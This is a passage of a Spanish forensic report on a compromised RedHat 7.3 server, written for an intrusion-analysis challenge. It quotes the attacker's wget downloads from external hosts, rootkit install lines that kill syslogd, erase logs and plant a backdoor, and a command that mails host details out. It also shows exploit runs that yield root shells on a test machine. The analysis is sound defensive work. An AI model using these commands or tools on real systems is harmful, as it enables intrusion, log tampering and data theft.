Mon Jan 31 2005 11:54:37
tar xvfz selena.tgz
206 ..c -/-rwxr-xr-x 505
98304 ..c -/-rw------- 505
12557 ..c -/-rw-r--r-- 505
505
505
505
224015
224030
224013
/var/tmp/selena/auto
/var/tmp/selena/core
/var/tmp/selena/main.c
cd selena
./assl 217.172
Las maquinas que ha encontrado vulnerables y a las que ha lanzado el exploit quedan almacenadas a las
12:03:38 en el fichero /var/tmp/selena/217.172.ssl.out a continuación ponemos una pequeña
muestra de este fichero.
/var/tmp/señema/217.172.ssl.out
./sslex
./sslex
./sslex
./sslex
./sslex
./sslex
./sslex
./sslex
0 217.172.67.46
16 217.172.70.43
1 217.172.75.56
1 217.172.76.229
1 217.172.76.228
1 217.172.67.164
1 217.172.79.162
1 217.172.76.105
27
A las 12:03:40 el atacante cierra la shell en la que estaba. A partir de ahí, la actividad que existe no
parece ser del atacante, sino que probablemente es del administrador del sistema (que se conecta
a las 12:52:57) cuando descubre la intrusión. A las 15:38:57 del día 31 de Enero, la maquina es
apagada haciendo un hard-reset.
28
3. Análisis de las herramientas instaladas por el atacante.
Describiremos a continuación la serie de programas que el atacante se baja de Internet para
instalar en la maquina. Como en la mayoría de las intrusiones, una vez que el atacante gana el
control del sistema comprometido, instala una serie de herramientas que le permiten abrir puertas
traseras para posibilitar su futuro regreso a la maquina sin levantar sospechas, instalar algún
programa que le posibilite el control remoto de la maquina atacada, ocultar sus actividades en el
sistema, etc.
Todos los programas que se baja están compilados, por lo que no tendría que realizar este paso
una vez accedido a la maquina. Esta compilación implica que no es la primera vez que entra en un
sistema sin permiso dado que los programas los tenia preparados y listos para funcionar.
Como se puede observar en el listado siguiente, la mayoría de los programas se los baja el
atacante de maquinas que se encuentran en el dominio “ro” (Rumania). Estas maquinas son
www.zetu.as.ro y www.plus.factory.home.ro y están en idioma rumano. Sólo
encontramos la maquina xhack.150m.com fuera de Rumania. Este dato nos hace pensar que el
atacante es Rumano, aunque como hemos visto anteriormente el ataque se realizo desde una
maquina ubicada en Estados Unidos.
Adjuntamos una lista con la línea en la que se aprecia el comando usado por el atacante para
bajarse los programas y los ficheros bash_history donde se encontró la traza.
13
21
35
46
4
10
14
41
wget
wget
wget
wget
wget
wget
wget
wget
www.zetu.as.ro/woot.tgz
www.zetu.as.ro/psyz.tar.gz
www.zetu.as.ro/psybnc.tgz
http://www.plus.factory.home.ro/selena.tgz
xhack.150m.com/sc.tgz
xhack.150m.com/https
www.zetu.as.ro/crk.tar.gz
www.zetu.as.ro/pico
/var/tmp/.bash_history
/var/tmp/.bash_history
/var/tmp/.bash_history
/var/tmp/.bash_history
/root/.bash_history
/root/.bash_history
/.bash_history
/.bash_history
A estos programas hay que añadir 2 más, za.tgz y own, que si bien se baja de Internet
probablemente en la sesión de FTP inicial, aunque no aparecen en los logs del sistema
información al respecto.
Procederemos a continuación a realizar una explicación de cada uno de los programas que se
baja.
3.1. Scanner y exploit de Samba: woot.tgz
Este programa es un autorooter. Un autorooter 16 es una herramienta que escanea y compromete
maquinas vulnerables en una red. Está compuesto por varios programas que ínter operan para
automatizar toda la tarea. En este caso, el autorooter busca maquinas con un servidor samba
vulnerable a versiones de samba de versión igual o menor de la 2.2.8 17 . Un usuario remoto puede
explotar esta vulnerabilidad y ganar acceso de root a la maquina.
Este paquete woot.tgz que se baja el atacante, se compone de una serie de programas y scripts
que tienen funcionalidades especificas, siendo llamados a través del script, asmb. Para llamar a
16
Definición de autorooter: http://en.wikipedia.org/wiki/Autorooter
http://www.securityfocus.com/infocus/1619
17
Explicación del exploit: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201
Parche de RedHat: ftp://updates.redhat.com/7.3/en/os/SRPMS/samba-2.2.7-3.7.3.src.rpm
Exploits para la vulnerabilidad: http://www.securityfocus.com/bid/7294/exploit/
29
este script debemos de realizarlo pasándole como parámetro una clase B de IPS que escaneara
buscando la vulnerabilidad.
El script asmb, llama al a su vez al programa “pscan2“ que comprueba, IP a IP de la clase B, si
tienen abierto el puerto 139. Esta ejecución da como resultado un fichero con las maquinas con
ese puerto abierto.
A continuación se llama al programa “vulvn“ que se alimenta del fichero anterior e intenta
identificar la versión de samba. Al igual que en la ejecución del otro programa, se crea otro fichero
con las maquinas que encuentra.
Para terminar, se realiza una llamada al programa “o0o“ que a su vez llama al programa “try” que
comprueba el tiempo de ejecución del exploit al que llama este (sambas). El programa sambas
explota la vulnerabilidad y escribe en el fichero “woot.log” que en cada una de sus líneas aparece
el comando que tiene que ejecutar el atacante para poder explotar esta funcionalidad en dichas
maquinas.
Una vez ejecutado esta línea, y si todo va como el atacante espera, al entrar en la máquina
tendríamos permisos de administrador o root, por lo que no necesitaríamos ningún programa para
subir nuestros permisos. Las líneas de este programa serán del tipo:
./samba -b 0 -v 10.0.128.128
Adjuntamos una lista de las versiones de samba y el sistema operativo que son vulnerables a este
exploit. Este listado esta sacado de la salida de los strings del programa “samba”.
sstrings sambas
54
55
56
57
58
59
60
61
62
63
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
-
Debian 3.0
Gentoo 1.4.x
Mandrake 8.x
Mandrake 9.0
Redhat 9.0
Redhat 8.0
Redhat 7.x
Redhat 6.x
Slackware 9.0
Slackware 8.x
64
65
66
67
68
69
70
71
72
73
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.x
samba-2.2.8
samba-2.2.7
samba-2.2.5
-
SuSE 7.x
SuSE 8.x
FreeBSD 5.0
FreeBSD 4.x
NetBSD 1.6
NetBSD 1.5
OpenBSD 3.2
OpenBSD 3.2 (package)
OpenBSD 3.2 (package)
OpenBSD 3.2 (package)
Para terminar, realizamos un ataque con este exploit sobre la nuestra maquina test, pero a
diferencia de la maquina comprometida, esta tenia el paquete de samba instalado y funcionando.
En este listado, se puede ver primero el comando ejecutado sobre la maquina a atacar y a
continuación, el acceso del programa a la maquina. La firma del creador del programa “wooooot!
kha0s owns u :)”, la ejecución del “uname”, “id” y del “uptime” y para terminar, el shell que
nos da. El comando “uname –a” se ejecuto sobre ese shell, cuando ya teníamos premisos de root
o administrador sobre la maquina atacada.
# ./samba -b 0 -v 10.0.128.128
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ woot woot!
-------------------------------------------------------------wooooot! kha0s owns u :)
Linux rh73.localdomain 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
8:03pm up 5:24, 4 users, load average: 4.39, 4.22, 4.08
uname -a
Linux rh73.localdomain 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
exit
30
3.2. Scanner y exploit de Apache+ssl: selena.tgz
Este paquete busca maquinas que tengan una vulnerabilidad ampliamente documentada en el
paquete OpenSSL 18 en versiones anteriores a la 0.9.6e, y al ser la versión que tiene instalada la
maquina comprometida la 0.9.6b, siendo esta la vulnerabilidad usada por el atacante para entrar
en la maquina como se pudo ver en puntos anteriores.
Una vez el atacante entra en las maquinas que son susceptibles a este bug, lo realizara con
permisos de usuario apache. Esto implica que el atacante deberá aumentar sus permisos usando
alguna vulnerabilidad local de la maquina atacada.
Este programa a diferencia del anterior, se lo baja de una página web perteneciente a una empresa
rumana que se dedica a la venta de electrodomésticos (www.plus.factory.home.ro).
Este paquete usa la misma estructura que el paquete woot.tgz, esto es, existe un script que una
vez llamado, va ejecutando comando a comando comprobando si las maquinas pasadas como
parámetros son vulnerables. Hasta que al final crea un fichero de texto donde escribe los
comandos que el atacante debería de ejecutar para conseguir acceso a la maquina explotando
esta vulnerabilidad. Como en el caso del woot, se lo baja ya compilado, con que no tiene los
problemas que le podría haber ocasionado tener que compilarlo, sobre todo a la hora de búsqueda
de compiladores, librerías, etc.
Al igual que el paquete woot, este es llamado a través del script “assl” indicándole una clase B
como entrada al programa. Lo primero que hace el script es llamar al programa “pscan2”, que va
chequeando maquina por maquina buscando las que tengan abierto el puerto 443/TCP, que es el
puerto donde por defecto corre el servidor web seguro. Como resultado de la ejecución de este
programa, crea un fichero que contiene un listado de las maquinas que tienen dicho puerto abierto.
Con la lista anteriormente creada, procede a llamar al programa “ssvuln” que intenta identificar la
versión del servidor web seguro (Apache) por si esta fuera atacable. Como viene siendo habitual,
la ejecución de este comando crea un fichero con la lista de maquinas atacables.
Para terminar se crea una lista llamada “res.log” donde indicara los comandos que debe ejecutar el
atacante si quiere entrar en las maquinas que son vulnerables a este exploit. Para crear esta lista
hace una llamada al comando “oops” que intenta entrar en todas y cada una de las maquinas
anteriormente reconocidas por tener un servidor apache.
El script termina borrando las listas creadas a lo largo de la ejecución de los diferentes comandos,
dejando únicamente el fichero “res.log” del que se ha hablado anteriormente..
A continuación vemos un listado de los sistemas operativos y sus versiones del apache que
pueden explotar este bug y posibilitar al exploit comprometer dichas maquinas. Esta lista esta
sacada de los strings del comando “sslx” que usara el atacante para entrar en la maquina que
quiera comprometer.
sstrings sslx
Mandrake Linux 8.2 (apache-1.3.23-4)
Mandrake Linux 8.1 (apache-1.3.20-3)
Mandrake Linux 8.0 (apache-1.3.19-3)
Mandrake Linux 7.1 (apache-1.3.14-2)
Mandrake Linux 7.1 (apache-1.3.14 worm offset)
SuSE Linux 8.0 (apache-1.3.23)
SuSE Linux 8.0 (apache-1.3.23-137)
SuSE Linux 7.3 (apache-1.3.20)
SuSE Linux 7.2 (apache-1.3.19)
SuSE Linux 7.1 (apache-1.3.17)
SuSE Linux 7.0 (apache-1.3.12)
RedHat Linux 7.3 (apache-1.3.22 worm offset)
RedHat Linux 7.3 (apache-1.3.23-11)
18
Redhat Linux 7.2 (apache-1.3.26 w/PHP)
Redhat Linux 7.2 (apache-1.3.26 worm offset)
RedHat Linux 7.2 (apache-1.3.20-16)
RedHat Linux 7.1 (apache-1.3.19-5)
RedHat Linux 7.0 (apache-1.3.12-25)
RedHat Linux 6.2 (apache-1.3.12-2)
RedHat Linux 6.1 (apache-1.3.9-4)
RedHat Linux 6.0 (apache-1.3.6-7)
Slackware 8.1-stable (apache-1.3.26)
Slackware 7.0 (apache-1.3.26)
Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
Gentoo (apache-1.3.24-r2)
Vulnerabilidad OpenSSL versiones < 0.9.6e http://www.cert.org/advisories/CA-2002-23.html
31
A continuación ponemos un ejemplo de la ejecución del comando que aparece en el fichero
“res.log” para posibilitar entrar en una maquina con RedHat 7.3. Nótese, que a diferencia del caso
anterior, en este caso entramos con el usuario apache, no como root, por lo que el atacante debe
realizar alguna acción para ganar permisos.
#
#
#
#
#
#
#
./ssx -a 0xc 10.0.128.128
Opening 30 connections
Establishing SSL connections
Using the OpenSSL info leak to retrieve the addresses
ssl0 : 0x814bac0
ssl1 : 0x814bac0
ssl2 : 0x814bac0
# Sending shellcode
ciphers: 0x814bac0
start_addr: 0x814ba00
SHELLCODE_OFS: 208
# Execution of stage1 shellcode succeeded, sending stage2
# Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline:
warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ Linux rh73 2.4.18-3 #1
Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:02pm up 2:01, 0 users, load average: 0.01, 0.03, 0.00
USER
TTY
FROM
LOGIN@
IDLE
JCPU
PCPU WHAT
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline:
warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ id
uid=48(apache) gid=48(apache) groups=48(apache)
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ exit
exit
# Connection closed.
3.3. Rootkit y backdoor: crk.tgz
Este programa se lo baja de la dirección www.zetu.as.ro. Como se puede observar en el fichero
/.bash_history. Lo descomprime y lo ejecuta pasándole como parámetros el password de
acceso (eliteaz) y el puerto donde instalara un servidor ssh (puerto 9933).
/.bash_history
14
15
16
22
wget www.zetu.as.ro/crk.tar.gz
tar xzvf crk.tar.gz
cd crk
./install eliteaz 9933
Veamos ahora lo que hace el script de instalación de este programa. En las primeras líneas de
este fichero vemos que el autor nos explica la finalidad de este programa. Vemos que el autor lo
firma como “ZeToo”. Comenta que es un backdoor que arranca un servicio ssh en la maquina que
se instala.
1
2
3
4
5
6
7
8
#!/bin/bash
#
# Linux all rootkit ... made for personal use and friends by ZeToo
# Greetz to : V-R34L , Beleaua , Azazel ...
# This is my first sshd backdoor so it has minimal things ...
# i`ll add functions in time :)
# No install help added coz its a "private" rk
# www.cycomm-lamm3rz.com
En la línea 31 y 32, comprueba los permisos para la instalación de este paquete, si el usuario que
lo instala no es root, saldría con un error. Dado que este programa se instalo en la maquina del
estudio, esto se realizo con permisos de root.
32
31 if [ "$(whoami)" != "root" ]; then
32 echo "${BLU}[+] ${RED}You dont have root access on this box ... get uid0 and retry"
Descomprime a continuación todos los ficheros que vienen con el paquete para luego copiarlos en
el sistema.
45
46
47
48
49
50
51
52
tar xfz bin.tgz
tar xfz conf.tgz
tar xfz lib.tgz
rm -rf bin.tgz
rm -rf conf.tgz
rm -rf lib.tgz
tar xfz bin/ssh.tgz
rm -rf ssh*.tgz
En la línea 57, mata el proceso syslog. Esto lo realiza para no dejar trazas de lo que realice a
continuación.
57 killall -9 syslogd
Mueve los ficheros descomprimidos antes del directorio lib, moviéndolos al directorio /lib del
sistema.
75 mv lib/* /lib/
Adjunto los nombres de los ficheros que mueve al directorio /lib.
-rwxr-xr-x
lrwxrwxrwx
-rwxr-xr-x
1 root
1 root
1 root
root
root
root
33848 sep
16 mar
37984 sep
8 2000 libproc.a
2 02:27 libproc.so -> libproc.so.2.0.6
8 2000 libproc.so.2.0.6
Mueve el fichero /sbin/xlogin a /bin/login. En la versión 7.3 no existe ese fichero. En la línea 79
vemos que reconstruye los enlaces a las librerías del sistema para que use las librerías que hemos
copiado anteriormente.
78 mv /sbin/xlogin /bin/login 2>/dev/null
79 /sbin/ldconfig
A continuación, crea una serie de directorios donde meterá los ficheros de configuración del rootkit.
85 mkdir /lib/security 2>/dev/null
86 mkdir /lib/security/.config 2>/dev/null
87 mkdir /lib/security/.config/ssh 2>/dev/null
En la siguiente línea crea el password de entrada al sistema. Como ya se vio en cuando hablamos
de los scanners de rootkits, este fichero aparecía. Vemos a continuación, que ejecutando el
comando, con el password “eliteaza” da el mismo resultado que el contenido del fichero.
96 ./pg $1 > /etc/ld.so.hash
# ./pg eliteaz
dbSj8RE0TA3pQ
# cat /etc/ld.so.hash
dbSj8RE0TA3pQ
Según los caracteres que tiene dicha línea (13 caracteres) y el tipo, parece ser que es el password
del rootkit. Este password encriptado puede ser usado por el atacante cuando se conecte al rootkit
para conseguir una shell de root en la maquina comprometida. Esta teoría se confirmara en un
punto posterior.
33
Además este fichero no se copio a la maquina cuando de instalo la primera vez, por lo que se
deduce que fue instalado a posteriori después de la fecha de instalación del equipo.
# rpm -qf /etc/ld.so.hash --dbpath /reto2/hda/var/lib/rpm
error: file /etc/ld.so.hash: No existe el fichero o el directorio
Copia el fichero con la password con otro nombre. De este fichero ya hablamos cuando
buscábamos el rootkit.
98 cp -f /etc/ld.so.hash /lib/libext-2.so.7
Mete el puerto que hemos indicado al arrancar el programa.
116 echo "Port $2" >> $basedir/bin/.sh/sshd_config
A continuación mete el puerto en los ficheros que se indican.
117 echo "3 $2" >> $basedir/conf/hosts.h
118 echo "4 $2" >> $basedir/conf/hosts.h
Crea el archivo de configuración para el ssh, anexando un archivo ya preparado al fichero con el
puerto que ha creado anteriormente en la línea 116.
120
cat
$basedir/bin/.sh/shdcf2
$basedir/bin/.sh/shdcf2
>>
$basedir/bin/.sh/sshd_config
;
rm
-rf
Copia los archivos de configuración /lib/lidps1.so, file.h, hosts.h, log.h y proc.h al
directorio /usr/include. De estos ficheros ya se hablo en el punto de escaneo de rootkits, pero
para recordar, diremos que son listas de IPS, puertos y comandos que serán eliminados de las
salidas de los comandos cuando estos sean ejecutados sobre el sistema en el que se instalo este
rootkit.
131 mv $basedir/conf/lidps1.so /lib/lidps1.so
132 mv $basedir/conf/* /usr/include/
Mueve
los
ficheros
de
configuración
del
servicio
/lib/security/.config/ssh/. Siendo los ficheros que
ssh_host_key, ssh_host_key.pub y ssh_random_seed.
ssh
mueve
al
directorio
sshd_config,
138 mv .sh/* /lib/security/.config/ssh/
Aquí lo que realiza el script es copiar el fichero de arranque del servicio ssh a /usr/sbin/xntps
y a /lib/security/.config/. Una vez que lo copia arranca el servicio o el backdoor con la
línea “/usr/sbin/xntps –q”.
140
141
142
143
cp /lib/security/.config/ssh/sshd /usr/sbin/xntps
mv /lib/security/.config/ssh/sshd /lib/security/.config/
chmod 755 /usr/sbin/xntps
/usr/sbin/xntps –q
A continuación crea un fichero de arranque en /etc/rc.d/init.d con el nombre “cycomm”. Esta parte
tiene un fallo, y es que falta un enlace de este fichero al rc correspondiente, en este caso el
comando seria “ln –s /etc/rc.d/init.d/cycomm /etc/rc.d/init.d/S90cycomm”. Con
este comando se activaría el servicio la próxima vez que se arranca la maquina.
149
150
151
152
echo "#!/bin/bash" >> /etc/rc.d/init.d/cycomm
echo "#startup script ... doh" >> /etc/rc.d/init.d/cycomm
echo "/usr/sbin/xntps -q" >> /etc/rc.d/init.d/cycomm
chmod +x /etc/rc.d/init.d/cycomm
34
Borra los logs que se han podido crear en el sistema. Y los históricos del usuario root.
157 rm -rf /var/log/*
160 rm -rf /bash.history
161 rm -rf /root/.bash_history
Este script tiene un fallo y es que no copia o mueve los comandos que se encuentran en el
directorio bin creado por el rootkit a las localizaciones de los binarios del sistema. Estos binarios
que se encuentran en este directorio están preparados para leer los ficheros creados anteriormente
y no mostrar por pantalla las palabras definidas en dichos ficheros. Por ejemplo, en el fichero
/lib/lidps1.so esta definida la palabra “xntps”, que es el backdoor que arranca este rootkit.
Si ejecutamos el binario “ps” que esta en el sistema aparece el proceso, pero si en cambio
ejecutamos el que viene con el rootkit, este proceso no aparece.
# /bin/ps -ef | grep xntps
root
9997
1 0 01:16 ?
00:00:00 /usr/sbin/xntps -q
# /var/tmp/crk/bin/ps -ef | grep xntps
#
Como hemos visto en el fichero mactime_todo.txt, el atacante sustituye los binarios del sistema por
los del rootkit, esto indica que no es la primera vez que el atacante hace uso de este rootkit.
A continuación añado las líneas que debieron de salir al atacante cuando ejecuto la instalación del
rootkit sobre la maquina atacada.
[root@rh73 crk]# ./install eliteaz 9933
[+] ------------------------------------------------------------------[+] _____
_____
___
[+] /
\
/
\
|
|
[+] | ____|
|
___|
__
__ __
__
|
|
[+] | |
_
_ |
|
__ | \_/ || \_/ |
|
|
[+] | |
| | | ||
|
/ \ |
||
|
|
|
[+] | |___ | \/ ||
|__ |
||
||
|
|
|____
_
[+] |
| \
/ |
||
|| |\/| || |\/| |
|
| / \
[+] \_____/
\ / \_____/ \__/ |__| |_||__| |_|
|________| \_/
[+]
|__|
[+]
CyComm Lamm3rz Rootkit For all versions of linux
[+] -------------------------------------------------------------------[+] Rootkit instalation started at 23:47:20
[+] ...
[+] Instaling sshd backdoor now
[+] ...
[+] Using your requested password : eliteaz
[+] ...
[+] Using your requested port : 9933
[+] ...
[+] Doing some things ... :P .. to make the rk restart after reboot
[+] ...
[+] Erasing some system logs
[+] ...
[+] Showing local infos ...just for fun :P
[+] ...
[+] Procesor or procesors :)
[+] MobileIntel(R)Pentium(R)III
[+] Ip address from eth0
[+] 10.0.128.128
[+] Root uptime and kernel version
[+] 11:47pm up 10:46, 2 users, load average: 0.41, 0.10, 0.03
[+] Linux rh73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
[+] -------------------------------------------------------------------
35
[+]
[+]
[+]
[+]
Done installing Cycomm rootkit on 10.0.128.128
You can now login using ssh port 9933 and global pass eliteaz
Visit www.cycomm-lamm3rz.com - #cycomm-lamm3rz @ undernet
--------------------------------------------------------------------
Para terminar estudiaremos los ficheros que no se han visto en puntos anteriores. Como ya se ha
comentado, la mayoría de estos ficheros contiene una lista de palabras las cuales no serán
presentadas en las salidas de los comandos ejecutados con los binarios de este rootkit.
El fichero /usr/include/file.h podemos ver que contiene una serie de palabras que indican
accesos a librerías, ficheros de configuración, procesos arrancados etc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
libext-2.so.7
.sh
system
tksb
tkp
lblip.tk
tks
ldd.so
srd0
ldlib.5
.config
ld.so.hash
eggdrop
emech
psybnc
En el fichero /usr/include/hosts.h, se definen IPS, y puertos que no deben aparecer en los
listados de ciertos programas, por ejemplo el netstat. El primer digito, indica el tipo de dato que
sale a continuación. Un 2 para IPS o rango de IPS, y el 3 y 4 para tipo de puertos, ya sean TCP o
UDP. Es interesante ver que en las últimas líneas de este fichero esta definido el puerto 9933 que
es el que arranca el rootkit con un servidor ssh.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2
2
2
3
4
3
4
3
3
4
4
3
3
4
4
2
2
3
4
212.110
195.26
194.143
2002
2002
6667
6667
31415
31414
31415
31414
21018
21019
21018
21019
62.220
213.233
9933
9933
Fichero /usr/include/log.h, al igual que el fichero anterior, se definen rango de IPS y
procesos o ficheros que no deben de aparecer en los listados.
1
2
3
4
5
62.220
212.110
195.26
SH-fORCE
sh-fORCE
36
6
7
8
9
10
psyBNC
eggdrop
t0rn
torn
tornkit
Fichero /usr/include/proc.h, se definen únicamente procesos que no deben aparecer en los
listados.
1
2
3
4
5
6
7
8
9
10
3
3
3
3
3
3
3
3
3
3
eggdrop
bnc
psyBNC
sh-fORCE
SH-fORCE
synscan
setup
in.inetd
tk
xntps
3.4. Irc Bouncer: psybnc.tgz
El psyBNC 19 es un programa bouncer de IRC. Este tipo de programas actúan como proxys de IRC
permitiendo ocultar la dirección IP real del usuario que se conecta al IRC a través de este tipo de
programas. Esto permite al usuario que se conecte a través suyo mantener la conexión abierta en
el canal elegido con los privilegios del usuario conectado aun en el caso que el usuario se
desconecte. La IP real del usuario que use este aplicativo, se mantendrá oculta incluso en
transferencias de ficheros con sesiones DCC.
Durante el tiempo que el atacante se encuentra en la maquina se baja 2 versiones de este bouncer
y un fichero de configuración, aun así no consigue hacer funcionar este programa.
La configuración del archivo de este programa es la siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
19
PSYBNC.SYSTEM.PORT1=17900
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=Angel
USER1.USER.USER=^_^C12GuEeS WhO?
USER1.USER.PASS==1g'c0A0p'x1d1K1a`Y
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.ACOLLIDE=0
USER1.USER.DCCENABLED=1
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.AWAYNICK=Azazel
USER1.USER.AWAY=^_^C12By Azazel
USER1.USER.NICK=AzazeI
USER1.SERVERS.SERVER1=lelystad.nl.eu.undernet.org
USER1.SERVERS.PORT1=6667
USER1.CHANNELS.ENTRY1=#cycomm-lamm3rz
USER1.CHANNELS.ENTRY2=#Smenari
Mas información en http://www.psychoid.net/
37
26 USER1.CHANNELS.ENTRY0=#port
La primera y segunda línea crea un listener o un servicio que escucha en un puerto, que en
nuestro caso será en todas y cada una de las IPS de la maquina escuchando el puerto 17900. En
la tercera línea indica los hosts o IPS que se pueden conectar a este bouncer. Con esta línea
indica que se pueden conectar todas (all). Otras líneas que son importantes son el nombre del
usuario que usara para conectarse “Azazel”, conectándose al servidor de IRC
lelystad.nl.eu.undernet.org, usando el puerto 6667. Y una vez conectado
entra en los canales “cycomm-lamm3rz”, “Smenari” y “port”.
3.5. Rootkit Suckit: sc.tgz
El SucKit es un rootkit que apareció en la revista electrónica Phrack 20 en el numero 58. Mas
concretamente en el articulo 0x07 ("Linux on-the-fly kernel patching without LKM"). Es un rootkit
que se carga en el sistema a través de /dev/kmem. Este instala un sniffer, un ocultador de
procesos y de archivos enmascarando las acciones que realice el atacante a través de la puerta
trasera que también crea este rootkit.
El atacante después de bajarse el programa lo descomprime dando lugar a 3 ficheros. El primero
de ellos es un script llamado “inst”. En este fichero codificado en octal se encuentra el fichero “sk”
que es el sustituto del init del sistema. Este script, crea un directorio “/usr/share/.X12kernel” donde se encuentra el rootkit, que debe ser ejecutado para instalarlo.
Adjuntamos la prueba de la instalación/ejecución de este rootkit sobre la maquina test. Se puede
observar que primero, en la llamada de instalación el atacante usa la palabra “eliteaz” como
password e indica que su puerta trasera debe ser abierta en el puerto 9933. Lo que también llama
la atención, es que en la instalación del rootkit, falla dando un error de kernel. En un principio este
error no tendría importancia, pero implica que si la maquina se rearranca esta no levantaría al estar
el archivo /sbin/init corrompido por el rootkit.
[root@rh73 sc]# ./inst eliteaz 9933
Your home is /usr/share/.X12-kernel, go there and type ./sk to install
us into memory. Have fun!
[root@rh73 sc]# cd /usr/share/.X12-kernel
[root@rh73 sc]# ./sk
/dev/null
RK_Init: idt=0xffc18000, FUCK: Can't find sys_call_table[]
3.6. Irc backdoor: https 21
Troyano escrito en perl, que abre un acceso remoto por puerta trasera vía IRC. El troyano se
conecta al servidor IRC eu.undernet.org, uniéndose al canal #aseasi, esperando instrucciones de
un atacante remoto.
Estas instrucciones pueden hacer que el troyano ejecute comandos en el servidor en forma
arbitraria, o realice ataques de inundación de paquetes (flooding), a blancos específicos, pudiendo
ser usado para ataques distribuidos de denegación de servicio (DDoS).
20
21
Phrack articulo 7 del numero 58: http://www.phrack.org/show.php?p=58&a=7
Información del Troyano: http://www.vsantivirus.com/perl-shellbot-a.htm
38
3.7. Backdoor: pico
Programa que pone a correr una shell de root en el puerto 5608. Además en periodo de ejecución
envía un email a la dirección [email protected] con la siguiente información sacada de los
strings de dicho fichero:
57 touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info; cat
/etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet >> /tmp/.info; cat
/tmp/.info | mail -s 'Port nou' [email protected]
Reproducimos la ejecución de este programa en la maquina test. Y verificaos que accedemos
como root en el puerto indicado.
[root@rh73 root]# telnet localhost 5608
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
sh-2.05a# id
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-2.05a#
3.8. Backdoor: za.tgz
Este paquete, consta de dos ficheros: zbind y zero. El programa zbind al igual que en el caso del
pico abre un shell de root en el puerto 4000. En este caso no envía correos. Adjuntamos la prueba
realizada en la maquina test.
[root@rh73 za]# telnet localhost 4000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
sh-2.05a# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
3.9. Exploit: own22
Exploit local del kernel. Hace uso de una vulnerabilidad en una llamada a ptrace de los kernels 2.2
y 2.4. Un usuario del sistema ejecutando este programa gana privilegios de administrador o root de
la maquina. Este fichero esta infectado con el virus RST.b.
Este fichero fue borrado del sistema una vez que el intruso paso de usuario apache a root. En el
punto 2.6 describimos los pasos dados para recuperar este fichero. El intruso lo descargo como
otras herramientas de http://www.zetu.as.ro/own.
Adjuntamos en un fichero aparte a este informe el programa recuperado.
Procedemos a ejecutar este programa sobre la maquina test, comprobando que un usuario de
sistema se convierte en root.
22
Información sobre la vulnerabilidad ptrace del kernel 2.2 y 2.4:
http://www.kb.cert.org/vuls/id/628849
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127
39
[tato@rh73 tato]$ ./own
[+] Attached to 8619
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
sh-2.05a#
40
4. Respuestas a las preguntas del reto
En este momento, ya tenemos toda la información que necesitamos para responder a las
preguntas que se hacían en el reto.
4.1. ¿A que sistema corresponden las imágenes?
•
•
•
•
El equipo era un Intel con un disco duro IDE.
El sistema operativo que tenía instalado era Linux y la distribución RedHat 7.3.
El sistema de ficheros era ext3.
El nombre del equipo era finanzas. Tenía configuradas dos IPS, la primaria
192.168.200.128 y una virtual 192.168.100.188. Estas direcciones son de redes privadas
no enrutables, así que presumiblemente había un router haciendo NAT y mapeando al
menos el puerto 443 y 22 sobre esta maquina.
4.2. ¿El sistema fue vulnerado?
El sistema fue vulnerado y durante la intrusión el intruso realizó las siguientes acciones:
•
•
•
•
•
Instaló defectuosamente 2 rootkits: SHV4 y Suckit.
Instaló 2 autorooters: w00t (samba) y selena (apache+ssl).
Infectó el equipo con 2 virus con capacidades de backdoor: RST.b y OSF.a
Instaló 3 backdoors: zbind (shell), pico (shell) y https (irc)
Instaló un bouncer de irc: psybnc.
4.3. ¿Quien y desde donde ingreso?
El intruso durante el ataque no ha demostrado un alto nivel técnico, ha usado herramientas de
terceros, ni siquiera se ha tomado la molestia de compilarlas y en cuanto han fallado, tampoco ha
sabido como solucionarlo. Simplemente las ha vuelto a reinstalar y cuando han vuelto a fallar, se
ha bajado otra distinta. De hecho, sospechamos que las infecciones con los virus son totalmente
fortuitas y que el atacante desconoce su existencia y mucho menos como aprovecharse de ellas.
En resumen son lo que comúnmente se conoce como Script-Kiddies, es decir, gente sin alto nivel
técnico, que se descargan herramientas y las usan, pero en esencia no saben como funcionan.
Suelen tener todo el tiempo del mundo para probar y probar y probar…
